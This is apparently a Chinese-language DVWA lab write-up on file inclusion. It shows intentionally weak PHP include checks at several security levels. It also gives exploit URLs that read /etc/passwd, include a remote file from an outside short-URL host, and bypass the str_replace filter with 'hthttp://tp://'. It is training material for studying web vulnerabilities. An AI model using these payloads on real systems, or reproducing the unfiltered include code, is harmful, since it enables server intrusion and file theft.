File Inclusion

文件包含

Low

源码解析

直接用 $_GET 从 URL 中获取数据,未对其进行检查和过滤。

1
2
3
4
5
6
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

漏洞利用

本地文件包含(Local File Inclusion, LFI)

构造 URL 读取服务器端的文件,一步到位。

1
http://192.168.56.102/vulnerabilities/fi/?page=/etc/passwd

远程文件包含(Remote File Inclusion, RFI)

首先需要 PHP 激活 allow_url_includeallow_url_fopen 选项,以便使用远程文件。

PS:短网址生成

1
http://192.168.56.102/vulnerabilities/fi/?page=http://suo.im/5tn8lz

中文乱码了23333

参阅

Medium

源码解析

使用 str_replace 过滤掉一些字符串。

1
2
3
4
5
6
7
8
9
10
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

漏洞利用

本地文件包含(Local File Inclusion, LFI)

不做改动,和 Low 级别相同的利用方式。

1
http://192.168.56.102/vulnerabilities/fi/?page=/etc/passwd

远程文件包含(Remote File Inclusion, RFI)

和命令注入的思路类似,组合一下字符绕过。当 hthttp://tp:// 中的 http:// 被过滤掉之后就形成了 http://

1
http://192.168.56.102/vulnerabilities/fi/?page=hthttp://tp://suo.im/5tn8lz

High

源码解析

fnmatch 用于模式匹配文件名,文件名必须以 file 开头,且文件不能为 include.php,否则输出文件未找到。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

?>

漏洞利用

本地文件包含(Local File Inclusion, LFI)

利用 file:// 协议访问本地文件。

1
http://192.168.56.102/vulnerabilities/fi/?page=file:///etc/passwd

参阅

Impossioble

源码解析

不能包含 include.php,且直接限制了只能包含 file1.phpfile2.phpfile3.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

?>